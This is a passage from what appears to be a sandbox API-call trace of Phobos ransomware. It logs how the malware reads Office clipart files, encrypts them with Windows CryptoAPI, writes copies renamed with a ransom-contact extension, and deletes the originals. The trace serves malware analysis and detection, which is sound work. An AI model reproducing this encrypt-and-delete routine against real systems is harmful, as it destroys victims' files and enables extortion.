| out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2cec, lpOverlapped=0x0) returned 1 [0059.995] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2cf0) returned 1 [0059.995] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2cf0, lpOverlapped=0x0) returned 1 [0059.996] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccb0) returned 1 [0059.996] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.996] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.996] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0059.996] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.996] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.996] CloseHandle (hObject=0x304) returned 1 [0059.996] CloseHandle (hObject=0x338) returned 1 [0059.997] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0059.999] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.999] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4408) returned 1 [0059.999] CloseHandle (hObject=0x338) returned 1 [0059.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0059.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.999] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.999] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0060.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.000] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0060.000] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0060.000] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1138, lpOverlapped=0x0) returned 1 [0060.007] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1140, dwBufLen=0x1140 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1140) returned 1 [0060.007] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1140, lpOverlapped=0x0) returned 1 [0060.008] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0060.008] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0060.008] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0060.008] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0060.008] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0060.008] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0060.008] CloseHandle (hObject=0x338) returned 1 [0060.008] CloseHandle (hObject=0x304) returned 1 [0060.010] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0060.011] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0060.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.012] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6256) returned 1 [0060.012] CloseHandle (hObject=0x304) returned 1 [0060.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0060.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.012] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0060.012] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0060.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.012] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc30) returned 1 [0060.012] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0060.013] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1870, lpOverlapped=0x0) returned 1 [0060.014] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1880, dwBufLen=0x1880 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1880) returned 1 [0060.014] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1880, lpOverlapped=0x0) returned 1 [0060.015] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0060.015] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0060.015] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0060.015] CryptDestroyKey (hKey=0x10caf0) returned 1 [0060.015] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0060.015] CryptDestroyKey (hKey=0x10cc30) returned 1 [0060.015] CloseHandle (hObject=0x304) returned 1 [0060.015] CloseHandle (hObject=0x338) returned 1 [0060.016] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0060.017] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0060.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.018] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=19476) returned 1 [0060.018] CloseHandle (hObject=0x338) returned 1 [0060.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0060.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.062] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0060.063] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0060.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.063] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0060.063] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0060.063] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4c14, lpOverlapped=0x0) returned 1 [0061.080] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4c20) returned 1 [0061.080] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4c20, lpOverlapped=0x0) returned 1 [0061.085] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0061.085] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.086] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.086] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0061.086] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.086] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0061.086] CloseHandle (hObject=0x338) returned 1 [0061.086] CloseHandle (hObject=0x304) returned 1 [0061.087] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0061.088] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.089] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4976) returned 1 [0061.089] CloseHandle (hObject=0x304) returned 1 [0061.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0061.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.089] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.089] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.090] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0061.090] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.090] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1370, lpOverlapped=0x0) returned 1 [0061.177] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1380, dwBufLen=0x1380 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1380) returned 1 [0061.177] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1380, lpOverlapped=0x0) returned 1 [0061.178] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ce70) returned 1 [0061.178] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.178] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.178] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.178] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.178] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0061.178] CloseHandle (hObject=0x304) returned 1 [0061.178] CloseHandle (hObject=0x338) returned 1 [0061.179] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0061.180] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.180] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=12788) returned 1 [0061.180] CloseHandle (hObject=0x338) returned 1 [0061.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0061.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.180] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.180] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.181] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0061.181] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.181] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x31f4, lpOverlapped=0x0) returned 1 [0061.182] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3200, dwBufLen=0x3200 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3200) returned 1 [0061.182] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3200, lpOverlapped=0x0) returned 1 [0061.183] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0061.183] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.183] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.183] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0061.183] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.183] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.183] CloseHandle (hObject=0x338) returned 1 [0061.183] CloseHandle (hObject=0x304) returned 1 [0061.184] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0061.185] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.185] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3104) returned 1 [0061.185] CloseHandle (hObject=0x304) returned 1 [0061.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 